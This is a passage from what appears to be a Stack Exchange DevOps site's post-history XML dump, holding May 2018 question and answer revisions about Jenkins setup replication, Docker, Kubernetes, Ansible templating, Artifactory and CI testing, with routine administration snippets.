&#xD;&#xA;The Jenkins instance is running from the same drive (`D:`).&#xD;&#xA;&#xD;&#xA;What are my Options to track the Problem and fixing it?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12912" PostHistoryTypeId="24" PostId="4121" RevisionGUID="97b91709-083a-460a-ba7f-5262dcf0821f" CreationDate="2018-05-17T16:46:00.303" Comment="Proposed by 739 approved by 7873 edit id of 695" ContentLicense="CC BY-SA 4.0" />
  <row Id="12916" PostHistoryTypeId="2" PostId="4125" RevisionGUID="c3b4ab3c-b4e8-4136-b38d-115388dbee12" CreationDate="2018-05-17T16:57:31.390" UserId="3992" Text="Another way is using a Cloudflare Argo Tunnel Ingress. It is getting there, but not yet ready for production (17.05.2018). &#xD;&#xA;&#xD;&#xA;Saves a lot of time, but is not cheap as it currently requires both Argo &amp; Load Balancing to be turned on. &#xD;&#xA;&#xD;&#xA;Both of which use traffic based billing and have no ability to cap costs, or gracefully fall back to pass straight through to origin once a budget has been reached.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12917" PostHistoryTypeId="5" PostId="3894" RevisionGUID="b821a4e2-8c90-4675-a7b0-554831b42b0f" CreationDate="2018-05-17T17:04:17.337" UserId="3992" Comment="added an idea" Text="Is there a recommended approach to using encrypted file system for persistent volumes in kubernetes? &#xD;&#xA;&#xD;&#xA;Perhaps mounting a LUKS fs disk image file ? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12919" PostHistoryTypeId="5" PostId="4017" RevisionGUID="a1a8f44b-8a30-405e-b8db-6bf45b425b38" CreationDate="2018-05-18T03:49:35.177" UserId="40" Comment="deleted 25 characters in body" Text="I have a Jenkins setup running in production. I want to automate Jenkins setup (installation) along with all the jobs that are setup in Jenkins.&#xD;&#xA;&#xD;&#xA;One crude way I can think of is to copy the whole jobs directory to the new Jenkins setup.&#xD;&#xA;&#xD;&#xA;How to deal with this problem?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12920" PostHistoryTypeId="2" PostId="4126" RevisionGUID="ea0847a5-d06a-4fdf-b4c3-ad3ee1cfb9c8" CreationDate="2018-05-18T08:52:06.597" UserId="7887" Text="We are using Azure IAAS to host our applications, and these are hosted on a number of virtual machines for different tiers&#xD;&#xA;Our client have recently asked us to provide monthly report on the Infrastructure Stability, so that they could know the health of the infrastructure and its availability during a given time period. &#xD;&#xA;Are there any standardized norms on how these reports should look like and what information it should contains, as we are not very clear on this and even client is not sure about the exact specifications.&#xD;&#xA;&#xD;&#xA;We are currently using Zabbix for monitoring systems and thinking of using the same for these reports. Please suggest if there any tools available for Infrastructure Stability reporting and how we should approach it.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12921" PostHistoryTypeId="1" PostId="4126" RevisionGUID="ea0847a5-d06a-4fdf-b4c3-ad3ee1cfb9c8" CreationDate="2018-05-18T08:52:06.597" UserId="7887" Text="Infrastructure Stability Report" ContentLicense="CC BY-SA 4.0" />
  <row Id="12922" PostHistoryTypeId="3" PostId="4126" RevisionGUID="ea0847a5-d06a-4fdf-b4c3-ad3ee1cfb9c8" CreationDate="2018-05-18T08:52:06.597" UserId="7887" Text="&lt;monitoring&gt;&lt;infrastructure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12923" PostHistoryTypeId="2" PostId="4127" RevisionGUID="394c07b0-ff7e-4e13-b2a2-6b5223a76a16" CreationDate="2018-05-18T13:42:24.803" UserId="7898" Text="Just avoid the `docker` DSL; it is incompatible with Declarative. Also avoid `script` blocks. Simply&#xD;&#xA;&#xD;&#xA;&lt;!-- language: groovy --&gt;&#xD;&#xA;&#xD;&#xA;    withDockerServer([uri: &quot;tcp://&lt;my-docker-socket&gt;&quot;]) {&#xD;&#xA;      withDockerRegistry([credentialsId: 'docker-registry-credentials', url: &quot;https://&lt;my-docker-registry&gt;/&quot;]) {&#xD;&#xA;        sh '''&#xD;&#xA;          docker build -t whatever .&#xD;&#xA;          docker push whatever&#xD;&#xA;          # or better, put all this stuff into a versioned Bash/Python/etc. script&#xD;&#xA;        '''&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="12924" PostHistoryTypeId="2" PostId="4128" RevisionGUID="d4d41ab8-2a98-432b-a243-e1024a29fa5a" CreationDate="2018-05-18T14:32:38.123" UserId="7897" Text="I deploy applications on servers. While the process itself is automated but there are lot of manual steps involved surrounding the automation due to various reasons.&#xD;&#xA;&#xD;&#xA;I manage the manual procedure in Excel. But this is getting cumbersome.  &#xD;&#xA;&#xD;&#xA;I am wondering if there are any tool where the procedure can be described and easy to manage.&#xD;&#xA;&#xD;&#xA;Thanks " ContentLicense="CC BY-SA 4.0" />
  <row Id="12925" PostHistoryTypeId="1" PostId="4128" RevisionGUID="d4d41ab8-2a98-432b-a243-e1024a29fa5a" CreationDate="2018-05-18T14:32:38.123" UserId="7897" Text="Any tools available for rollout planning / checklist" ContentLicense="CC BY-SA 4.0" />
  <row Id="12926" PostHistoryTypeId="3" PostId="4128" RevisionGUID="d4d41ab8-2a98-432b-a243-e1024a29fa5a" CreationDate="2018-05-18T14:32:38.123" UserId="7897" Text="&lt;deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12927" PostHistoryTypeId="2" PostId="4129" RevisionGUID="79183166-48ac-44f3-9ede-4c159397b8d0" CreationDate="2018-05-18T15:11:37.497" UserId="6578" Text="Its very common to provide a StatusPage (like Statusy.co or StatusPage.io). There are numerous examples of major providers having them:&#xD;&#xA;&#xD;&#xA;- https://status.github.com/messages&#xD;&#xA;- https://status.bitbucket.org/&#xD;&#xA;- https://status.aws.amazon.com/&#xD;&#xA;- https://azure.microsoft.com/en-us/status/&#xD;&#xA;- https://api.twitterstat.us/&#xD;&#xA;&#xD;&#xA;You could provide the same status page to your customers. When there is a service disruption, you could manually update the status while providing detailed, customer-facing information. Or you could hook it into your Zabbix monitoring to have the status auto-updated.&#xD;&#xA;&#xD;&#xA;This also lets your customers see a history of incidents and average uptime of your service.&#xD;&#xA;&#xD;&#xA;There are also self-hosted, open-source solutions that you could implement:&#xD;&#xA;&#xD;&#xA;- https://cachethq.io/&#xD;&#xA;- http://www.stashboard.org/&#xD;&#xA;&#xD;&#xA;Although, you'll really want to host those outside your existing infrastructure so that your StatusPage can always be reached, even if you're down. If you go the self-hosted route, I recommend hosting the status page at a different provider: Digital Ocean, AWS, etc..." ContentLicense="CC BY-SA 4.0" />
  <row Id="12928" PostHistoryTypeId="50" PostId="3661" RevisionGUID="e8203c8b-1126-4441-b3e8-ae0bdf80ec0d" CreationDate="2018-05-18T16:32:54.947" UserId="-1" />
  <row Id="12929" PostHistoryTypeId="2" PostId="4130" RevisionGUID="44d65932-3d2d-4e70-a859-2327dc9f48dc" CreationDate="2018-05-18T17:43:27.107" UserId="210" Text="**Document the functional process**&#xD;&#xA;&#xD;&#xA;When I create a new project and want to deploy it I always start to right down the manual steps in a README, but one could also create a txt file or sheet like you did.&#xD;&#xA;&#xD;&#xA;**Feel the pain**&#xD;&#xA;&#xD;&#xA;At a certain moment when I have deployed the project manually the pain of certain steps will become clear. For example, I add per step how much time it takes.&#xD;&#xA;&#xD;&#xA;**Automate the high ROI steps**&#xD;&#xA;&#xD;&#xA;If for example a certain step takes half an hour an one deploys twice a week, one could investigate how long it will take if one automates this step (investment) and what time it will save (return). One could decide to create issue tickets and automate steps every sprint.&#xD;&#xA;&#xD;&#xA;**Example deployment plan**&#xD;&#xA;&#xD;&#xA;For one of my current projects I have to deploy multiple microservices. I will not provide all details, but initially the plan was two pages long. Now I only use a Continuous Integration/Deployment (CI/CD) plan and a lot of abstractions. If the deployment will fail some day I could still read the initial plan so that the functional flow is still clear.&#xD;&#xA;&#xD;&#xA;**Configuration as Code**&#xD;&#xA;&#xD;&#xA;Another benefit of automating the manual step is that one could save the code in a Git repository as a pipeline script. When another person reads the scripts then it becomes clear how the project is deployed and one could also trace who made some change, what modifications were done and when." ContentLicense="CC BY-SA 4.0" />
  <row Id="12930" PostHistoryTypeId="2" PostId="4131" RevisionGUID="5e568bd5-2bca-4668-a118-24d886fe0dd0" CreationDate="2018-05-18T19:38:11.873" UserId="7837" Text="Is scanning/searching the filesystem slower in a Docker container, than on the host? Seems a lot slower from my testing and sometimes I get an EIO scan error.&#xD;&#xA;&#xD;&#xA;Specifically I am scanning a read-only (:ro) shared volume.&#xD;&#xA;&#xD;&#xA;In this case, the workaround is I can the host first before sharing the volume in the container, it seems much faster.&#xD;&#xA;&#xD;&#xA;Any other workarounds? Is my observation imagined or real?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12931" PostHistoryTypeId="1" PostId="4131" RevisionGUID="5e568bd5-2bca-4668-a118-24d886fe0dd0" CreationDate="2018-05-18T19:38:11.873" UserId="7837" Text="Scanning fs in a Docker container is slower than on host?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12932" PostHistoryTypeId="3" PostId="4131" RevisionGUID="5e568bd5-2bca-4668-a118-24d886fe0dd0" CreationDate="2018-05-18T19:38:11.873" UserId="7837" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12933" PostHistoryTypeId="2" PostId="4132" RevisionGUID="861bbe68-3157-47cf-8393-3b26aadb9e62" CreationDate="2018-05-18T20:16:59.193" UserId="7902" Text="**Disclaimer**: I have not setup a working example of this&#xD;&#xA;&#xD;&#xA;I believe you are looking for Nested Traffic Managers&#xD;&#xA;&#xD;&#xA;If you setup a main traffic manager that uses performance to select between North America and Europe child traffic managers.  As long as one of the services in East or West North America is functioning the child traffic manager will report its status as available and the main traffic manager will continue to send traffic to the child based on performance&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Docs:&#xD;&#xA;https://docs.microsoft.com/en-us/azure/traffic-manager/traffic-manager-nested-profiles&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12934" PostHistoryTypeId="5" PostId="4131" RevisionGUID="39e45e69-11cd-4655-ace0-135eee5db655" CreationDate="2018-05-18T21:24:26.847" UserId="7837" Comment="added 80 characters in body" Text="Is scanning/searching the filesystem slower in a Docker container, than on the host? Seems a lot slower from my testing and sometimes I get an EIO scan error.&#xD;&#xA;&#xD;&#xA;Specifically I am scanning a read-only (:ro) shared volume.&#xD;&#xA;&#xD;&#xA;In this case, the workaround is I can the host first before sharing the volume in the container, it seems much faster.&#xD;&#xA;&#xD;&#xA;Any other workarounds? Is my observation imagined or real?&#xD;&#xA;&#xD;&#xA;I am running Docker version `18.03.1-ce, build 9ee9f40`&#xD;&#xA;&#xD;&#xA;on MacOS Sierra&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12935" PostHistoryTypeId="4" PostId="4131" RevisionGUID="39e45e69-11cd-4655-ace0-135eee5db655" CreationDate="2018-05-18T21:24:26.847" UserId="7837" Comment="added 80 characters in body" Text="Scanning fs in a Docker container is (much) slower than on host?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12936" PostHistoryTypeId="50" PostId="1832" RevisionGUID="684982ec-53df-4f70-ac03-7f6f84536142" CreationDate="2018-05-19T00:33:10.083" UserId="-1" />
  <row Id="12937" PostHistoryTypeId="2" PostId="4133" RevisionGUID="ab7e1f7a-6051-4f1d-86a1-c7fed93d2087" CreationDate="2018-05-19T01:07:12.133" UserId="7904" Text="You could try this: &#xD;&#xA;&#xD;&#xA;https://github.com/heptio/aws-quickstart&#xD;&#xA;&#xD;&#xA;Their CTO uses it to spin up K8S clusters for his weekly youtube live stream called TGIK, in order to showcase whatever he wants to talk about.&#xD;&#xA;&#xD;&#xA;I myself use GKE so I do not need it. " ContentLicense="CC BY-SA 4.0" />
  <row Id="12938" PostHistoryTypeId="2" PostId="4134" RevisionGUID="65300290-5b5f-485e-8d01-77c45eecc740" CreationDate="2018-05-19T01:11:54.327" UserId="7904" Text="I would use Helm charts (you can write your own) for the CD part.&#xD;&#xA;&#xD;&#xA;For the CI part you could install Jenkins and the kubernetes plugin using the Jenkins helm chart as well.&#xD;&#xA;&#xD;&#xA;You can find plenty of documentation and tutorials on Helm and Jenkins on Kubenetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="12939" PostHistoryTypeId="2" PostId="4135" RevisionGUID="95a3a789-28e9-421b-a0a8-d194f96a40a6" CreationDate="2018-05-19T01:14:12.847" UserId="7904" Text="Have a look to solutions implementing a service mesh.&#xD;&#xA;&#xD;&#xA;For example ISTIO, Consul, Ambasador + Envoy..." ContentLicense="CC BY-SA 4.0" />
  <row Id="12943" PostHistoryTypeId="50" PostId="3916" RevisionGUID="2a0065ae-bd40-4a98-8846-849638a5961f" CreationDate="2018-05-19T14:50:02.537" UserId="-1" />
  <row Id="12944" PostHistoryTypeId="5" PostId="4108" RevisionGUID="9946acb3-59b5-45b7-9f36-2284cbb836ee" CreationDate="2018-05-20T02:29:08.483" UserId="3427" Comment="fix used parameter" Text="You can simply put a `sonar.properties` file under `/opt/docker-sonar/conf/`. This file will be available inside the container under `/opt/sonarqune/conf/`, because the folder gets mounted as volume.&#xD;&#xA;&#xD;&#xA;A full example for a `sonar.properties` file can be found on [github](https://github.com/SonarSource/sonarqube/blob/master/sonar-application/src/main/assembly/conf/sonar.properties). However all you need to enter is:&#xD;&#xA;&#xD;&#xA;    sonar.ce.javaOpts=-Xmx&lt;XMX_VALUE -Xms&lt;XMS_VALUE&gt; -XX:+HeapDumpOnOutOfMemoryError" ContentLicense="CC BY-SA 4.0" />
  <row Id="12945" PostHistoryTypeId="24" PostId="4108" RevisionGUID="9946acb3-59b5-45b7-9f36-2284cbb836ee" CreationDate="2018-05-20T02:29:08.483" Comment="Proposed by 3427 approved by 40, 228 edit id of 696" ContentLicense="CC BY-SA 4.0" />
  <row Id="12946" PostHistoryTypeId="50" PostId="1821" RevisionGUID="b4fa9f21-6048-466d-b9d7-cd53ec290a4c" CreationDate="2018-05-20T02:50:35.653" UserId="-1" />
  <row Id="12948" PostHistoryTypeId="5" PostId="4017" RevisionGUID="43af1573-2772-44b5-81c4-c8fdbd6316b3" CreationDate="2018-05-20T05:11:40.940" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/Jenkins_%28software%29&gt;)." Text="I have a Jenkins setup running in production. I want to automate the Jenkins setup (installation) along with all the jobs that are setup in Jenkins.&#xD;&#xA;&#xD;&#xA;One crude way I can think of is to copy the whole jobs directory to the new Jenkins setup.&#xD;&#xA;&#xD;&#xA;How do I deal with this problem?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12949" PostHistoryTypeId="4" PostId="4017" RevisionGUID="43af1573-2772-44b5-81c4-c8fdbd6316b3" CreationDate="2018-05-20T05:11:40.940" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/Jenkins_%28software%29&gt;)." Text="How do I replicate a Jenkins setup via automation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12950" PostHistoryTypeId="24" PostId="4017" RevisionGUID="43af1573-2772-44b5-81c4-c8fdbd6316b3" CreationDate="2018-05-20T05:11:40.940" Comment="Proposed by 7917 approved by -1 edit id of 699" ContentLicense="CC BY-SA 4.0" />
  <row Id="12951" PostHistoryTypeId="5" PostId="4017" RevisionGUID="c871f4d8-9749-4476-8097-5c78d1d5f42e" CreationDate="2018-05-20T05:11:40.940" UserId="40" Comment="deleted 2 characters in body; edited title" Text="I have a Jenkins setup running in production. I want to automate the Jenkins setup (installation) along with all the jobs that are setup in Jenkins.&#xD;&#xA;&#xD;&#xA;One crude way I can think of is to copy the whole jobs directory to the new Jenkins setup.&#xD;&#xA;&#xD;&#xA;How to deal with this problem?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12952" PostHistoryTypeId="4" PostId="4017" RevisionGUID="c871f4d8-9749-4476-8097-5c78d1d5f42e" CreationDate="2018-05-20T05:11:40.940" UserId="40" Comment="deleted 2 characters in body; edited title" Text="How to replicate a Jenkins setup via automation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12953" PostHistoryTypeId="5" PostId="3626" RevisionGUID="0074e36b-da1d-4e01-82cf-1894a9175450" CreationDate="2018-05-20T06:10:23.307" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/GitLab&gt; and &lt;https://en.wikipedia.org/wiki/Kubernetes&gt;). [(its = possessive, it's = &quot;it is&quot; or &quot;it has&quot;. See for example &lt;http://www.wikihow.com/Use-Its-and-It%27s&gt;.)" Text="My company is moving from an architecture of &quot;many projects on a single webserver&quot; to a Kubernetes cluster with multiple different hosted web applications in a single cluster.&#xD;&#xA;&#xD;&#xA;In order to make integration of new customers easy, I want an UI to clone a 'template' code repository and give it a new life. When creating a new client from this interface, it would also create a Kubernetes deployment in a staging cluster, clone a database and possibly do other automated tasks.&#xD;&#xA;&#xD;&#xA;I thought of rolling my own interface that would manage my Kubernetes deployments so I could tailor it exactly to the requirements, then I looked up GitLab and figured somebody was probably doing just that already.&#xD;&#xA;&#xD;&#xA;Having never used GitLab, would it suit my use case?&#xD;&#xA;&#xD;&#xA;Once the initial setup is done, I would actually use it for its intended purpose so I know it'll be good for that at least. &#xD;&#xA;&#xD;&#xA;Question 2: Can I edit Kubernetes deployment configs from GitLab, such as changing replica count or RAM limit while it's running?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12954" PostHistoryTypeId="4" PostId="3626" RevisionGUID="0074e36b-da1d-4e01-82cf-1894a9175450" CreationDate="2018-05-20T06:10:23.307" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/GitLab&gt; and &lt;https://en.wikipedia.org/wiki/Kubernetes&gt;). [(its = possessive, it's = &quot;it is&quot; or &quot;it has&quot;. See for example &lt;http://www.wikihow.com/Use-Its-and-It%27s&gt;.)" Text="Should I build my own pipeline or use GitLab for Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12955" PostHistoryTypeId="24" PostId="3626" RevisionGUID="0074e36b-da1d-4e01-82cf-1894a9175450" CreationDate="2018-05-20T06:10:23.307" Comment="Proposed by 7917 approved by 40, 707 edit id of 697" ContentLicense="CC BY-SA 4.0" />
  <row Id="12956" PostHistoryTypeId="5" PostId="4042" RevisionGUID="edf4c921-f6ec-4180-a5a3-28618c08f869" CreationDate="2018-05-20T06:10:29.370" UserId="7917" Comment="Copy edited." Text="Jenkins itself can be configured in many ways. The same applies for Jenkins jobs.&#xD;&#xA;&#xD;&#xA;Probably the most easy way is to configure Jenkins manually and replicate its setup by backing up and restoring. Unfortunately, this means dealing with copying XML files.&#xD;&#xA;&#xD;&#xA;But fortunately there are other ways.&#xD;&#xA;&#xD;&#xA;# `init.groovy.d` directory&#xD;&#xA;&#xD;&#xA;When Jenkins starts, it checks `init.groovy.d` directory and executes Groovy scripts there. To enforce locale I'm using a snippet.&#xD;&#xA;&#xD;&#xA;    // Copied from /var/lib/jenkins/init.groovy.d/set-locale.groovy&#xD;&#xA;    def pluginWrapper = jenkins.model.Jenkins.instance.getPluginManager().getPlugin('locale')&#xD;&#xA;    def plugin = pluginWrapper.getPlugin()&#xD;&#xA;&#xD;&#xA;    plugin.setSystemLocale('en_US')&#xD;&#xA;&#xD;&#xA;Another example of setting up Jenkins by Groovy scripts is located on https://gist.github.com/hayderimran7/50cb1244cc1e856873a4 - I'm using that snippet to setup local Jenkins users on test machines.&#xD;&#xA;&#xD;&#xA;# Generating jobs&#xD;&#xA;&#xD;&#xA;## Jenkins Job builder&#xD;&#xA;One approach of generating jobs is [Jenkins Job Builder][jjb], which creates XML definitions jobs from YAML configurations. I don't like this approach personally as I consider it to be a bit hackish - looks like &quot;generation of XML files without knowing what it means&quot;. But some big players are using this approach - JJB originates from Openstack.&#xD;&#xA;&#xD;&#xA;## Job DSL plugin&#xD;&#xA;&#xD;&#xA;Another approach is [Job DSL plugin][jdsl] ([plugin page][jdsl2]). There is special job type called *seed job* which creates other jobs from Groovy DSL. The seed job can pull the others job description in from Git, so you can easily version them, reuse them, etc.&#xD;&#xA;&#xD;&#xA;I'm using personally this approach, as it was available when I started with Jenkins. I've even found some Jenkins tool to create DSL sources from existing jobs, but I'm not able to find it again.&#xD;&#xA;&#xD;&#xA;To provide a seed job, you can still use the `init.groovy.d` approach.&#xD;&#xA;&#xD;&#xA;## Pipelines&#xD;&#xA;&#xD;&#xA;The currently recommended approach is probably related to [Jenkins Pipelines][pipelines]. You can store your building pipelines in the source VCS repository next to your code.&#xD;&#xA;&#xD;&#xA;I haven't explored this very much, but I'm planning to do.&#xD;&#xA;&#xD;&#xA;[jjb]: https://docs.openstack.org/infra/jenkins-job-builder/&#xD;&#xA;[jdsl]: https://github.com/jenkinsci/job-dsl-plugin&#xD;&#xA;[jdsl2]: https://plugins.jenkins.io/job-dsl&#xD;&#xA;[pipelines]: https://jenkins.io/doc/book/pipeline/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12957" PostHistoryTypeId="24" PostId="4042" RevisionGUID="edf4c921-f6ec-4180-a5a3-28618c08f869" CreationDate="2018-05-20T06:10:29.370" Comment="Proposed by 7917 approved by 40, 707 edit id of 700" ContentLicense="CC BY-SA 4.0" />
  <row Id="12958" PostHistoryTypeId="5" PostId="3630" RevisionGUID="c7448449-a9fd-4de4-9630-32fceb7a9ebc" CreationDate="2018-05-20T12:17:33.803" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/GitLab&gt; and &lt;http://en.wikipedia.org/wiki/Git_%28software%29&gt;)." Text="One could just run `kubectl apply -f &lt;file&gt;`. When one updates an application, one could just run this command. A CI is basically able to run scripts. As GitLab is just a CI and a Git repository one could just run `kubectl` in a gitlab-ci.yml pipeline.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12959" PostHistoryTypeId="24" PostId="3630" RevisionGUID="c7448449-a9fd-4de4-9630-32fceb7a9ebc" CreationDate="2018-05-20T12:17:33.803" Comment="Proposed by 7917 approved by 40, 210 edit id of 698" ContentLicense="CC BY-SA 4.0" />
  <row Id="12964" PostHistoryTypeId="50" PostId="2939" RevisionGUID="18762839-0f3d-4ffb-863a-3d2e8c537337" CreationDate="2018-05-21T12:04:38.703" UserId="-1" />
  <row Id="12965" PostHistoryTypeId="2" PostId="4138" RevisionGUID="0fe2e752-77b1-4193-8778-4659cdb84e00" CreationDate="2018-05-21T12:23:40.093" UserId="3055" Text="This is a snippet from my Ansible jinja template which populates an environment specific template.&#xD;&#xA;&#xD;&#xA;    docker_compose_mq: &lt;string-passed from Jenkins&gt;&#xD;&#xA;    docker_compose_profiles: &quot;string&quot;&#xD;&#xA;    &#xD;&#xA;    {% if &quot;{{ risk_docker_compose_mq }}&quot; == &quot;string&quot; %}&#xD;&#xA;      {% &quot;{{ risk_docker_compose_profiles: &quot;string1&quot; }}&quot; %}&#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;This fails with a pretty generic error message:&#xD;&#xA;&#xD;&#xA;    &quot;Syntax Error while loading YAML.\n\n\nThe error appears to have been in 'True': line 26, column 2, but may\nbe elsewhere in the file depending on the exact syntax problem.\n\n(could not open file to display line)&quot;}&#xD;&#xA;&#xD;&#xA;I'm almost certain it's to do with escaping the quotes here but can't for the life of me work out what I'm doing wrong, any ideas?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12966" PostHistoryTypeId="1" PostId="4138" RevisionGUID="0fe2e752-77b1-4193-8778-4659cdb84e00" CreationDate="2018-05-21T12:23:40.093" UserId="3055" Text="Ansible Jinja template if statement" ContentLicense="CC BY-SA 4.0" />
  <row Id="12967" PostHistoryTypeId="3" PostId="4138" RevisionGUID="0fe2e752-77b1-4193-8778-4659cdb84e00" CreationDate="2018-05-21T12:23:40.093" UserId="3055" Text="&lt;ansible&gt;&lt;jinja&gt;&lt;templating&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12968" PostHistoryTypeId="50" PostId="3888" RevisionGUID="1397b5e0-0b78-47fc-8b2b-1ac024aa2e86" CreationDate="2018-05-21T13:04:40.140" UserId="-1" />
  <row Id="12969" PostHistoryTypeId="2" PostId="4139" RevisionGUID="32b17758-3c0a-4802-99e7-1afa4f3cfdf5" CreationDate="2018-05-21T15:34:35.410" UserId="7938" Text="I am currently working on a custom Maven plugin that generates a build artifact in the form of a zip file with a dynamic version or build number.  The format of the file is something like&#xD;&#xA;&#xD;&#xA;    target/[artifactId]_[version or build].zip&#xD;&#xA;&#xD;&#xA;Where [version or build] parameter is dynamically generated based on a snapshot of time, (Eg. [changeset24]-[changeset57]) on a parameterized Jenkins build where the user of the build will not necessarily know the latest changeset.  The plugin uses an API to determine the latest changeset, for example changset57, and then uses the starting changeset parameter to form the unique version/build of the zip artifact.&#xD;&#xA;&#xD;&#xA;This is meant to be a solution for streamlining the chaotic and manual process we face in our enterprise around delta based SQL scripts on hugely complicated schemas.  There is no clear promotion path up through environments for a single versioned database artifact.  It is a long story with a very immature devops organization and many frameworks and skill sets that do not mesh well, so I will spare the rest of the details here.&#xD;&#xA;&#xD;&#xA;Ultimately we need to specify not the JAR artifact for this build to upload to Artifactory, but the ZIP file that is being created here, however Maven does not seem to allow for us to change the hard coded `&lt;version&gt;` in the POM file, and even if we could, we need the ability to:&#xD;&#xA;&#xD;&#xA; 1. Run the Maven build with custom plugin execution goal&#xD;&#xA; 2. Parse the output file for the unique version number that is generated&#xD;&#xA; 3. Override the `${VERSION}` or `${BUILD_NUMBER}` environment variables in Jenkins&#xD;&#xA; 4. Upload the artifact to Artifactory with the new environment variable for version or build number being included in build info.&#xD;&#xA;&#xD;&#xA;The problem I have is that I seem to have trouble figuring out how to configure these 4 steps with the existing Maven3-Artifactory Jenkins plugins, nor with the Generic Artifactory Plugin using FileSpec JSON.  I don't see how I can inject a custom shell script to override environment variables here either between this process.&#xD;&#xA;&#xD;&#xA;Does anybody have any good suggestions of how I should configure this job?&#xD;&#xA;&#xD;&#xA;*NOTE: Please don't suggest that my general approach is fundamentally bad or flawed or whatever.  That is not helpful because I am facing numerous technological and political constraints that prevent a more appropriate solution.*&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="12970" PostHistoryTypeId="1" PostId="4139" RevisionGUID="32b17758-3c0a-4802-99e7-1afa4f3cfdf5" CreationDate="2018-05-21T15:34:35.410" UserId="7938" Text="Jenkins Artifactory Integration - Custom Maven plugin creating dynamic version/build" ContentLicense="CC BY-SA 4.0" />
  <row Id="12971" PostHistoryTypeId="3" PostId="4139" RevisionGUID="32b17758-3c0a-4802-99e7-1afa4f3cfdf5" CreationDate="2018-05-21T15:34:35.410" UserId="7938" Text="&lt;jenkins&gt;&lt;maven&gt;&lt;artifactory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12976" PostHistoryTypeId="2" PostId="4141" RevisionGUID="9b8da07e-0ee2-4f52-aca1-6d754f15e6c5" CreationDate="2018-05-22T08:14:16.280" UserId="7950" Text="1. you can wrirte python script with Boto3 package to upload your logs to s3 bucket and clear the logs in master and slave.&#xD;&#xA;&#xD;&#xA;2. Then create a job to run the python script . Make the job to run in desired time intervals.&#xD;&#xA; &#xD;&#xA;3. you can also monitor your jenkins using some monitoring tools like Splunk where you can see the build trends in dashboards in real time and create alerts to send mail notification or trigger a jenkins jobs which cleans the log when the memory is full." ContentLicense="CC BY-SA 4.0" />
  <row Id="12983" PostHistoryTypeId="2" PostId="4144" RevisionGUID="80a7a7aa-6a14-4d5f-856d-ca59e4662e3f" CreationDate="2018-05-22T11:49:03.797" UserId="7955" Text="To add to Philipp's answer, if you are using `sudo` then you need to make sure to set the `DEBIAN_FRONTEND` variable afterwards, like so:&#xD;&#xA;&#xD;&#xA;    apt-get update&#xD;&#xA;    sudo DEBIAN_FRONTEND=noninteractive apt-get upgrade -yq" ContentLicense="CC BY-SA 4.0" />
  <row Id="12989" PostHistoryTypeId="5" PostId="3891" RevisionGUID="f3fd4de1-1a03-44b0-b15a-08f0ace985de" CreationDate="2018-05-22T12:47:44.057" UserId="13" Comment="added 23 characters in body" Text="Try the following as root:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* Edit the /etc/default/grub file and set the GRUB_CMDLINE_LINUX value as follows:&#xD;&#xA;&#xD;&#xA; `GRUB_CMDLINE_LINUX=&quot;cgroup_enable=memory swapaccount=1&quot;`&#xD;&#xA;&#xD;&#xA;* Update GRUB.&#xD;&#xA;&#xD;&#xA; `sudo update-grub` &#xD;&#xA;&#xD;&#xA;* Reboot your system.&#xD;&#xA;&#xD;&#xA;As per [this docker's documentation](https://docs.docker.com/install/linux/linux-postinstall/#your-kernel-does-not-support-cgroup-swap-limit-capabilities)." ContentLicense="CC BY-SA 4.0" />
  <row Id="12996" PostHistoryTypeId="2" PostId="4147" RevisionGUID="b88cb58c-bbfe-49d9-8b29-1df042edb449" CreationDate="2018-05-22T18:37:21.260" UserId="7969" Text="I have prepared the JMeter test script for my project and it tests (both functionally and performance wise) various Rest Apis. I have even coupled it with Jenkins on my local machine and also implemented performance plugin.&#xD;&#xA;&#xD;&#xA;Now I want to achieve CI/CD with my JMeter script wherein whenever any developer commits a code, the script runs automatically and if tests pass only then things proceed. In essence, Once the code is built, all tests should run to confirm that it behaves as the developers expect it to behave.&#xD;&#xA;&#xD;&#xA;How do I achieve this? Step by Step detailed instructions please as I am a QA folk and devops is a new field for me!" ContentLicense="CC BY-SA 4.0" />
